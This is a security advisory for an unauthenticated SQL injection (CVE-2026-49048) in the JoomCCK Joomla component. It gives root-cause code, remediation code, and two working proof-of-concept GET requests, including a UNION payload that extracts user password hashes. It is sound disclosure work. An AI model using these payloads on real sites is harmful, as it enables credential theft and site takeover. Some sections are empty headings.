CVE-2026-49048 — JoomCCK 6.4.0 Unauthenticated SQL Injection (CVSS 9.8)

CVE: CVE-2026-49048
Status: Public disclosure. Reported to Joomla Security Strike Team (JSST) — Ticket #282420.

Advisory Summary

Summary

The Joomla 4/5/6 component JoomCCK exposes a front-end controller task (task=tags.save) that concatenates the user-supplied tag parameter directly into SQL without escaping or parameterisation. The component's custom MVC dispatcher performs no CSRF token check and no access-control check, making the injection reachable by a completely unauthenticated remote attacker.

Successful exploitation allows full read access to the Joomla database — including #__users password hashes — via UNION-based and time-based blind SQL injection, leading to complete site compromise.

Root Cause — Two Defects That Chain

1. Missing Authorization in Custom MVC Dispatcher (CWE-862)

libraries/mint/mvc/controller/base.php — MControllerBase::execute():

public function execute($task)
{
    $this->task = $task;
    $task = !is_null($task) ? strtolower($task) : '';
    $doTask = $this->taskMap[$task];
    ...
    return $this->$doTask();   // Invoked with no checkToken(), no authorise()
}

The authorise() method in the same class is a no-op that unconditionally returns true.
The entry point components/com_joomcck/joomcck.php calls execute(input->get('task')) without any login, token, or ACL gate → every public controller method is an unauthenticated task.

2. SQL Injection in tags.save (CWE-89)

components/com_joomcck/models/tags.php — _saveTag():

$tag = $app->input->getString('tag');   // Joomla 'STRING' filter: strips HTML but NOT SQL quotes

$query = ' SELECT a.* FROM #__js_res_tags AS a WHERE a.tag = "' . $tag . '"';  // INJECTABLE
$exist_item = $this->_getList($query);

// Later:
$query = 'UPDATE #__js_res_tags SET tag = "' . $tag . '" WHERE id =' . $id;    // INJECTABLE

Joomla's STRING input filter strips HTML tags but passes " unchanged — the same character used as the SQL string delimiter here. Breaking out of the quoted literal injects arbitrary SQL.

Proof of Concept

Time-based Blind (no prior knowledge needed)

GET /index.php?option=com_joomcck&task=tags.save&id=1&tag=x%22%20OR%20SLEEP(5)--%20- HTTP/1.1
Host: target.example.com

Expected: response delayed ≥ 5 seconds (per matched row).

UNION Data Exfiltration

GET /index.php?option=com_joomcck&task=tags.save&id=1&tag=x%22%20UNION%20SELECT%20id,username,password%20FROM%20%23__users--%20- HTTP/1.1
Host: target.example.com

Local Lab Evidence

Full PoC code and captured evidence transcript are in poc/.

Key lab results:

The lab harness uses the genuine Joomla\Input\Input::getString() and the verbatim _saveTag() query against a live MariaDB 11.8 instance.

Impact

An unauthenticated remote attacker can:

• Read arbitrary data from the Joomla database (credentials, session tokens, PII) → full administrative takeover
• Modify rows in #__js_res_tags via the injectable UPDATE
• Chain with task=tags.delete and task=records.copy (also unauth — same dispatcher flaw)

Secondary Finding — Broken Access Control (CWE-862, CVSS ~6.5)

The same dispatcher flaw exposes additional unauthenticated tasks:

Note: many records.* tasks do enforce ACL internally via _checkAccess() and are not affected.

Remediation

1. Parameterise all queries (Joomla query builder):

$db  = $this->getDatabase();
$tag = $app->input->getString('tag');

// SELECT
$query = $db->getQuery(true)
    ->select('a.*')
    ->from($db->quoteName('#__js_res_tags', 'a'))
    ->where($db->quoteName('a.tag') . ' = ' . $db->quote($tag));

// UPDATE
$upd = $db->getQuery(true)
    ->update($db->quoteName('#__js_res_tags'))
    ->set($db->quoteName('tag') . ' = ' . $db->quote($tag))
    ->where($db->quoteName('id') . ' = ' . (int) $id);

2. Enforce authorization in the dispatcher — add Session::checkToken() and an ACL check (Factory::getApplication()->getIdentity()->authorise(...)) before all state-changing tasks, mirroring the protections already present on files.upload.

Disclosure Timeline

References

• Vendor: https://www.joomcoder.com
• Joomla VEL (Vulnerable Extensions List): https://vel.joomla.org
• Joomla JSST: [email protected]
• CWE-89: SQL Injection
• CWE-862: Missing Authorization

About the Researcher

Independent security researcher.
Contact: [email protected]